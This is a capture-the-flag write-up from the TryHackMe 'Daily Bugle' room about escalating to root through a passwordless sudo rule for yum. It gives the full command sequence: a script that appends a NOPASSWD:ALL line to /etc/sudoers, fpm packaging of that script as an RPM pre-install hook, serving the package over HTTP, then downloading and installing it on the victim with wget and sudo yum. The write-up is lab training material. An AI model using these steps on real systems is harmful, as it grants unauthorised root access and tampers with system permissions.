# Sudoers entry - Yum

So, while doing a CTF on tryhackme: dailybugle, I found that my current user (jjameson) was allowed to run **/usr/bin/yum** as root without password. please read previous post to find out what "sudoers" is.<br>

<div align="left"><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2FdF4pDeUAHErjHgimC2Jq%2Fimage.png?alt=media&#x26;token=025439e3-52bd-487d-976c-19d53a9a3a68" alt=""></div>

With the help of [gtfobins](https://gtfobins.github.io/gtfobins/yum/), we found a method to elevate privileges using yum.

<div align="left"><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2FkpTcPLauyOntx6zyPh7X%2Fimage.png?alt=media&#x26;token=e565af01-d46d-47e4-b616-c3b0c721c980" alt=""></div>

Process is simple enough. Create a shell script (that you wanna execute- it will have our malicious code)->make an RPM package using [fpm](https://fpm.readthedocs.io/en/latest/installation.html) tool->Upload it on the victim machine->execute using yum command. (note: in red hat/centOS Yum is the package manager that's why we need to use rpm to build an executable. Similar case exists for Debian/Ubuntu systems where we'll use apt-get to elevate privileges)

**`gem install fpm`**

**`apt install rpm`**

Here, I'll be adding my current user in the sudoers file for privilege escalation. This is by far the easiest method I have discovered.\
echo 'echo "jjameson ALL=(root) NOPASSWD:ALL" >> /etc/sudoers' > my.sh

<div align="left"><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2FpRQ5mAISzx7jqK49DrfA%2Fimage.png?alt=media&#x26;token=8cf48b98-bdf9-4be1-a259-4c2662821df4" alt=""></div>

**`fpm -n root -s dir -t rpm -a all --before-install my.sh .`**

<div align="left"><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2FmyXBVfwrgxnfzb6fET5c%2Fimage.png?alt=media&#x26;token=77745e28-64d7-4247-8cc4-7e69a21b010c" alt=""></div>

Launch a python server now\
\&#xNAN;**`python3 -m http.server 80`**

On the victim machine, download this in the /tmp directory and we are good to go with installation of this package with the commands:

\
\&#xNAN;**`wget <ip>/root-1.0-1.noarch.rpm`**\
**`sudo yum localinstall -y root-1.0-1.noarch.rpm`**

<div align="left"><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2FpmHlMCuxrc2Lbf8hRtjX%2Fimage.png?alt=media&#x26;token=57d3bce9-c36f-4c39-b444-14350160e675" alt=""></div>

Once the installation has successfully completed we will run a simple bash shell using sudo (**sudo bash**) and you'll observe that jjameson doesn't require password to run anything as root because our script "my.sh" has been executed as part of the RPM package we just created. This is how we will escalate our privileges using yum.

<div align="left"><img src="https://62284611-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MSvRnuhl_P5WCd1fZEn%2Fuploads%2Fxd4SV4osAtXWqg4ZshR2%2Fimage.png?alt=media&#x26;token=7733676b-a4fb-4a68-b5f5-016331834fc5" alt=""></div>
